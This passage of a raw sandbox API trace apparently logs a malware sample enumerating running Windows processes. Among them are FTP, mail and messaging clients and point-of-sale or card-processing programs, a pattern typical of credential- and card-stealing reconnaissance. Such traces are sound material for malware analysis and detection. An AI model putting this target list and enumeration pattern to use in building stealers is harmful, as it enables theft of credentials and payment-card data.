lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0259.619] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0259.621] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0259.623] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0259.628] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0259.631] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0259.633] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0259.635] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0259.638] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0259.641] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0259.644] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0259.646] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0259.680] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0259.683] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0259.686] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0259.688] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0259.691] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0259.694] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0259.697] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0259.700] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0259.703] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0259.706] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0259.708] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0259.711] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0259.714] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0259.717] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0259.719] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0259.722] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0259.725] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0259.728] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0259.730] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0259.733] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0259.736] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0259.740] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0259.745] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0259.748] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0259.751] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0259.753] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0259.756] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0259.759] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0259.762] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0259.764] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0259.767] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0259.770] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0259.773] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0259.778] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0259.780] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0259.783] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0259.785] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0259.788] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0259.822] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0259.825] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0259.827] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0259.830] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0259.833] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0259.836] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0259.838] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0259.841] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0259.844] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0259.847] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0259.850] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0259.853] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0259.855] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0259.860] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.863] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0259.864] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0259.866] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0259.867] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0259.869] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0259.871] CloseHandle (hObject=0x2200) returned 1 [0259.871] Sleep (dwMilliseconds=0x64) [0259.873] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2200 [0259.893] Process32First (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.896] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.898] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.902] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.905] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.908] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.910] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.912] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.915] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.917] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.920] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.922] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.925] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.927] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.930] Process32Next (in: hSnapshot=0x2200, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, 